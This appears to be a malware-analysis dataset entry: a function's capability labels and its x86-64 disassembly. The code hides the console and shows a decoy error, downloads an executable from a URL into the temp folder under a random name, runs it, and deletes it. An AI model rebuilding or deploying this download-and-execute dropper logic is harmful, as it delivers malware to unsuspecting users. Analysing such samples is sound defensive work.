Function at 0x140001645
Capabilities:
Create process on windows
Create thread
Delete file
Download url
Get common file path
Receive data

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x5a0
lea rbp, [rsp + 0x80]
call sym.__main
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.HideConsole]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.ShowErrorMessage]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
lea rax, [rbp + 0x310]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
test eax, eax
je 0x14000198b
movabs rax, 0x64006300620061
movabs rdx, 0x68006700660065
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x6c006b006a0069
movabs rdx, 0x70006f006e006d
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x74007300720071
movabs rdx, 0x78007700760075
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x420041007a0079
movabs rdx, 0x46004500440043
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x4a004900480047
movabs rdx, 0x4e004d004c004b
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x5200510050004f
movabs rdx, 0x56005500540053
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x5a005900580057
movabs rdx, 0x33003200310030
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x36003500340033
movabs rdx, 0x3900380037
mov qword [rbp + 0xae], rax
mov qword [rbp + 0xb6], rdx
mov qword [rbp + 0x518], 0
jmp 0x140001827
call sym.rand
movsxd rbx, eax
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.wcslen
mov rdi, rax
mov rax, rbx
mov edx, 0
div rdi
mov rcx, rdx
mov rax, rcx
movzx edx, word [rbp + rax*2 + 0x40]
mov rax, qword [rbp + 0x518]
mov word [rbp + rax*2 + 0xe0], dx
add qword [rbp + 0x518], 1
cmp qword [rbp + 0x518], 7
jbe 0x1400017e3
mov word [rbp + 0xf0], 0
lea rax, [rbp + 0xe0]
lea rdx, str..exe
mov rcx, rax
call sym.wcscat
lea rcx, [rbp + 0xe0]
lea rdx, [rbp + 0x310]
lea rax, [rbp + 0x100]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
mov rax, qword [section..data]
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileW
test eax, eax
js 0x14000198b
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], 0
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
test eax, eax
je 0x14000198b
mov rax, qword [rbp + 0xc0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xc8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
mov eax, 0
add rsp, 0x5a0
pop rbx
pop rdi
pop rbp
ret